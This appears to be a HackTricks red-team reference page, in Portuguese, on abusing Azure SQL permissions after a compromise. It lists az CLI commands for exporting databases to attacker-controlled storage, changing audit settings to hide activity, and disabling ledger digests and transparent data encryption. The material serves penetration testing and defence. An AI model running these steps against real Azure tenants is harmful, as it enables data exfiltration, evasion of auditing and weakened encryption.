Az - SQL Database Post Exploitation

Reading time: 7 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

SQL Database Post Exploitation

Para mais informações sobre SQL Database, consulte:

Az - SQL

Microsoft.Sql/servers/databases/read, Microsoft.Sql/servers/read && Microsoft.Sql/servers/databases/write

Com essas permissões, um atacante pode criar e atualizar bancos de dados dentro do ambiente comprometido. Esta atividade de pós-exploração pode permitir que um atacante adicione dados maliciosos, modifique configurações de banco de dados ou insira backdoors para maior persistência, potencialmente interrompendo operações ou permitindo ações maliciosas adicionais.

bash
# Create Database
az sql db create --resource-group <resource-group> --server <server-name> --name <new-database-name>

# Update Database
az sql db update --resource-group <resource-group> --server <server-name> --name <database-name> --max-size <max-size-in-bytes>

Com essas permissões (Microsoft.Sql/servers/read && Microsoft.Sql/servers/databases/write), você pode restaurar um banco de dados excluído:

bash
az sql db restore \
--dest-name <new_database_name> \
--name <original_database_name> \
--resource-group <resource_group> \
--server <server_name> \
--deleted-time "<deleted_time_ISO_format>"

Microsoft.Sql/servers/elasticPools/write && Microsoft.Sql/servers/elasticPools/read

Com essas permissões, um atacante pode criar e atualizar elasticPools dentro do ambiente comprometido. Esta atividade de pós-exploração pode permitir que um atacante adicione dados maliciosos, modifique configurações de banco de dados ou insira backdoors para maior persistência, potencialmente interrompendo operações ou permitindo ações maliciosas adicionais.

bash
# Create Elastic Pool
az sql elastic-pool create \
--name <new-elastic-pool-name> \
--server <server-name> \
--resource-group <resource-group> \
--edition <edition> \
--dtu <dtu-value>

# Update Elastic Pool
az sql elastic-pool update \
--name <elastic-pool-name> \
--server <server-name> \
--resource-group <resource-group> \
--dtu <new-dtu-value> \
--tags <key=value>

Microsoft.Sql/servers/auditingSettings/read && Microsoft.Sql/servers/auditingSettings/write

Com esta permissão, você pode modificar ou habilitar as configurações de auditoria em um Azure SQL Server. Isso pode permitir que um atacante ou usuário autorizado manipule as configurações de auditoria, potencialmente encobrindo rastros ou redirecionando os logs de auditoria para um local sob seu controle. Isso pode dificultar a monitorização de segurança ou permitir que ela acompanhe as ações. NOTA: Para habilitar a auditoria para um Azure SQL Server usando Blob Storage, você deve anexar uma conta de armazenamento onde os logs de auditoria podem ser salvos.

bash
az sql server audit-policy update \
--server <server_name> \
--resource-group <resource_group_name> \
--state Enabled \
--storage-account <storage_account_name> \
--retention-days 7

Microsoft.Sql/locations/connectionPoliciesAzureAsyncOperation/read, Microsoft.Sql/servers/connectionPolicies/read && Microsoft.Sql/servers/connectionPolicies/write

Com esta permissão, você pode modificar as políticas de conexão de um Azure SQL Server. Essa capacidade pode ser explorada para habilitar ou alterar configurações de conexão em nível de servidor.

bash
az sql server connection-policy update \
--server <server_name> \
--resource-group <resource_group_name> \
--connection-type <Proxy|Redirect|Default>

Microsoft.Sql/servers/databases/export/action

Com esta permissão, você pode exportar um banco de dados de um Azure SQL Server para uma conta de armazenamento. Um atacante ou usuário autorizado com essa permissão pode exfiltrar dados sensíveis do banco de dados exportando-o para um local que eles controlam, representando um risco significativo de violação de dados. É importante conhecer a chave de armazenamento para poder realizar isso.

bash
az sql db export \
--server <server_name> \
--resource-group <resource_group_name> \
--name <database_name> \
--storage-uri <storage_blob_uri> \
--storage-key-type SharedAccessKey \
--admin-user <admin_username> \
--admin-password <admin_password>

Microsoft.Sql/servers/databases/import/action

Com esta permissão, você pode importar um banco de dados para um Azure SQL Server. Um atacante ou usuário autorizado com essa permissão pode potencialmente fazer upload de bancos de dados maliciosos ou manipulados. Isso pode levar ao controle sobre dados sensíveis ou à incorporação de scripts ou gatilhos prejudiciais dentro do banco de dados importado. Além disso, você pode importá-lo para seu próprio servidor no Azure. Nota: O servidor deve permitir que serviços e recursos do Azure acessem o servidor.

bash
az sql db import --admin-user <admin-user> \
--admin-password <admin-password> \
--name <target-database-name> \
--server <azure-sql-server-name> \
--resource-group <resource-group-name> \
--storage-key-type SharedAccessKey \
--storage-key <storage-account-key> \
--storage-uri `https://<storage-account-name>.blob.core.windows.net/bacpac-container/MyDatabase.bacpac`

Microsoft.Sql/servers/connectionPolicies/write && Microsoft.Sql/servers/connectionPolicies/read

Com essas permissões, um usuário pode modificar e recuperar as políticas de conexão de um servidor Azure SQL. Essas permissões permitem que alguém altere a forma como os clientes se conectam ao servidor—escolhendo entre métodos como redirecionamento ou proxy—o que pode ser explorado para enfraquecer a segurança, redirecionar o tráfego ou interceptar dados sensíveis se configurado incorretamente.

bash
az sql server conn-policy update \
--resource-group <resource_group> \
--server <server_name> \
--connection-policy <policy>

Microsoft.Sql/servers/keys/write && Microsoft.Sql/servers/keys/read

Com essas permissões, um usuário pode atualizar e recuperar chaves de criptografia associadas a um Azure SQL Server. Essas chaves são frequentemente usadas para proteger dados sensíveis por meio de criptografia, portanto, manipulá-las pode comprometer a segurança dos dados, permitindo a descriptografia não autorizada ou alterações na rotação de chaves.

bash
az sql server key create \
--resource-group MyResourceGroup \
--server MyServer \
--kid "https://mykeyvault.vault.azure.net/keys/mykey/1234567890abcdef

Microsoft.Sql/servers/databases/ledgerDigestUploads/disable/action, Microsoft.Sql/locations/ledgerDigestUploadsAzureAsyncOperation/read, Microsoft.Sql/locations/ledgerDigestUploadsOperationResults/read

Esta permissão permite desativar o Ledger Digest para um Banco de Dados Azure SQL, o que interrompe o upload periódico de registros de digestão criptográfica para o Azure Blob Storage que verifica a integridade dos dados.

bash
az sql db ledger-digest-uploads disable \
--name ledgerDB \
--resource-group myResourceGroup \
--server my-sql-server

Microsoft.Sql/servers/databases/transparentDataEncryption/write, Microsoft.Sql/locations/transparentDataEncryptionAzureAsyncOperation/read, Microsoft.Sql/servers/databases/transparentDataEncryption/read

Esta permissão permite que um usuário autorizado ou atacante ative, desative ou modifique as configurações de Criptografia de Dados Transparente (TDE) em um banco de dados Azure SQL, potencialmente impactando a segurança dos dados ao alterar as configurações de criptografia.

bash
az sql db tde set \
--database <database-name> \
--resource-group <resource-group-name> \
--server <server-name> \
--status <Enabled|Disabled>

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks